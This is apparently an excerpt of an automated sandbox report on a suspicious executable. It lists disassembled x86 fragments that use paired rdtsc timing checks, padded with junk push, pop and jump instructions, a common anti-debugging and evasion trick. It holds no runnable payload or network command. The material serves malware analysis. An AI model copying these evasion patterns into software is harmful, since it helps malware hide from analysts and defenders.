Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AC144 second address: 3AC14A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AC2E0 second address: 3AC2F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D1Dh 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AC2F2 second address: 3AC2FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AC2FE second address: 3AC309 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AC309 second address: 3AC311 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AC311 second address: 3AC318 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AC724 second address: 3AC745 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FCDDCC991E5h 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AC745 second address: 3AC77E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c ja 00007FCDDCF97D16h 0x00000012 jmp 00007FCDDCF97D1Dh 0x00000017 jno 00007FCDDCF97D16h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AC77E second address: 3AC794 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCDDCC991DAh 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jnc 00007FCDDCC991D6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AF8B1 second address: 3AF8B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AF8B6 second address: 3AF8BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38132C second address: 38137B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 jmp 00007FCDDCF97D23h 0x0000000c nop 0x0000000d mov cx, 2663h 0x00000011 lea eax, dword ptr [ebp+12486133h] 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007FCDDCF97D18h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 00000018h 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 nop 0x00000032 push ecx 0x00000033 jng 00007FCDDCF97D1Ch 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38137B second address: 381391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pushad 0x00000007 jmp 00007FCDDCC991DBh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 381391 second address: 381395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 381395 second address: 381399 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 381399 second address: 365C9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007FCDDCF97D18h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 or dword ptr [ebp+122D3539h], esi 0x00000028 call dword ptr [ebp+122D2488h] 0x0000002e push eax 0x0000002f push edx 0x00000030 jbe 00007FCDDCF97D1Eh 0x00000036 push esi 0x00000037 pop esi 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38145A second address: 381465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push esi 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38179F second address: 3817A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3817A3 second address: 1CEB6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FCDDCC991E7h 0x0000000d nop 0x0000000e jmp 00007FCDDCC991E8h 0x00000013 push dword ptr [ebp+122D0D0Dh] 0x00000019 or cx, 0A21h 0x0000001e call dword ptr [ebp+122D252Dh] 0x00000024 pushad 0x00000025 pushad 0x00000026 mov esi, dword ptr [ebp+122D3A06h] 0x0000002c call 00007FCDDCC991E9h 0x00000031 sub bx, B1A6h 0x00000036 pop edx 0x00000037 popad 0x00000038 xor eax, eax 0x0000003a stc 0x0000003b mov dword ptr [ebp+122D1C08h], ecx 0x00000041 mov edx, dword ptr [esp+28h] 0x00000045 mov dword ptr [ebp+122D1C08h], ebx 0x0000004b mov dword ptr [ebp+122D36DEh], eax 0x00000051 jns 00007FCDDCC991DCh 0x00000057 jno 00007FCDDCC991E0h 0x0000005d mov esi, 0000003Ch 0x00000062 jmp 00007FCDDCC991E3h 0x00000067 add esi, dword ptr [esp+24h] 0x0000006b pushad 0x0000006c mov ecx, dword ptr [ebp+122D3906h] 0x00000072 mov dword ptr [ebp+122D2391h], edx 0x00000078 popad 0x00000079 lodsw 0x0000007b jne 00007FCDDCC991EFh 0x00000081 add eax, dword ptr [esp+24h] 0x00000085 pushad 0x00000086 popad 0x00000087 mov ebx, dword ptr [esp+24h] 0x0000008b mov dword ptr [ebp+122D24EAh], edx 0x00000091 nop 0x00000092 pushad 0x00000093 push eax 0x00000094 push edx 0x00000095 push ebx 0x00000096 pop ebx 0x00000097 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 381897 second address: 3818A6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3818A6 second address: 3818B0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FCDDCC991D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 381DC4 second address: 381E06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007FCDDCF97D18h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 jmp 00007FCDDCF97D1Ch 0x00000027 push 00000004h 0x00000029 pushad 0x0000002a sub si, 1596h 0x0000002f mov eax, ecx 0x00000031 popad 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 381E06 second address: 381E0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 381E0A second address: 381E14 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCDDCF97D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 381E14 second address: 381E19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3821A5 second address: 3821B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jc 00007FCDDCF97D24h 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3821B6 second address: 3821BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3821BA second address: 3821E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D2C7Bh], ecx 0x0000000d push 0000001Eh 0x0000000f call 00007FCDDCF97D24h 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3821E5 second address: 3821E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3821E9 second address: 3821EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 382378 second address: 38237C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 388E42 second address: 388E46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 366725 second address: 366729 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 366729 second address: 36674B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCDDCF97D1Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FCDDCF97D1Bh 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36674B second address: 366774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FCDDCC991D6h 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007FCDDCC991E9h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 366774 second address: 36677A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36677A second address: 3667B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCDDCC991E4h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FCDDCC991D6h 0x00000012 jmp 00007FCDDCC991E7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3667B2 second address: 3667B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3667B6 second address: 3667BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3667BC second address: 3667CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FCDDCF97D1Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 345499 second address: 3454AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FCDDCC991DEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AFF61 second address: 3AFF6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AFF6B second address: 3AFF75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AFF75 second address: 3AFF8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCDDCF97D1Ch 0x00000009 jp 00007FCDDCF97D16h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B0273 second address: 3B028D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FCDDCC991D6h 0x00000009 jmp 00007FCDDCC991DFh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B0543 second address: 3B0558 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FCDDCF97D18h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007FCDDCF97D16h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B0558 second address: 3B056A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007FCDDCC991D6h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B46EF second address: 3B46FC instructions: 0x00000000 rdtsc 0x00000002 jns 00007FCDDCF97D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B4E58 second address: 3B4E9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 jmp 00007FCDDCC991DAh 0x0000000e popad 0x0000000f pushad 0x00000010 jmp 00007FCDDCC991DDh 0x00000015 jmp 00007FCDDCC991DEh 0x0000001a jng 00007FCDDCC991DEh 0x00000020 push edx 0x00000021 pop edx 0x00000022 jnc 00007FCDDCC991D6h 0x00000028 push eax 0x00000029 push edx 0x0000002a push edx 0x0000002b pop edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B524A second address: 3B5250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B5250 second address: 3B5256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B5256 second address: 3B526B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007FCDDCF97D18h 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007FCDDCF97D16h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B526B second address: 3B526F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B56BF second address: 3B56F4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FCDDCF97D1Ah 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007FCDDCF97D1Bh 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FCDDCF97D1Ch 0x0000001a jmp 00007FCDDCF97D1Ah 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B56F4 second address: 3B570B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCDDCC991E3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B570B second address: 3B570F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B5B34 second address: 3B5B53 instructions: 0x00000000 rdtsc 0x00000002 je 00007FCDDCC991D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FCDDCC991E2h 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BC953 second address: 3BC957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C1494 second address: 3C149F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FCDDCC991D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C1B69 second address: 3C1B6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C1B6E second address: 3C1B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C1B7C second address: 3C1B9B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007FCDDCF97D23h 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C2115 second address: 3C211B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C211B second address: 3C2135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCDDCF97D21h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C2135 second address: 3C213B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C213B second address: 3C213F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C213F second address: 3C2145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C2145 second address: 3C2186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007FCDDCF97D21h 0x0000000c pop edx 0x0000000d jmp 00007FCDDCF97D28h 0x00000012 popad 0x00000013 pushad 0x00000014 push ecx 0x00000015 ja 00007FCDDCF97D16h 0x0000001b pushad 0x0000001c popad 0x0000001d pop ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C2186 second address: 3C218A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C4DA8 second address: 3C4DB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C4DB0 second address: 3C4DC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FCDDCC991E0h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C4DC9 second address: 3C4DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33CDF9 second address: 33CE06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C8ABF second address: 3C8AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C8AC5 second address: 3C8ACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C8ACC second address: 3C8AD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CBC2B second address: 3CBC50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FCDDCC991E5h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007FCDDCC991D6h 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CBD83 second address: 3CBD87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CBD87 second address: 3CBD9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCC991E0h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CC24B second address: 3CC275 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FCDDCF97D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FCDDCF97D1Eh 0x00000010 js 00007FCDDCF97D16h 0x00000016 push esi 0x00000017 pop esi 0x00000018 jmp 00007FCDDCF97D1Ah 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CC275 second address: 3CC27D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CC27D second address: 3CC282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CC282 second address: 3CC298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCDDCC991DCh 0x00000009 jl 00007FCDDCC991D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D005C second address: 3D0060 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CF347 second address: 3CF3A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007FCDDCC991EAh 0x0000000c jmp 00007FCDDCC991DDh 0x00000011 jmp 00007FCDDCC991E3h 0x00000016 popad 0x00000017 push esi 0x00000018 jmp 00007FCDDCC991E8h 0x0000001d push eax 0x0000001e push edx 0x0000001f jnl 00007FCDDCC991D6h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CF7E5 second address: 3CF7EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CFAD2 second address: 3CFAD7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
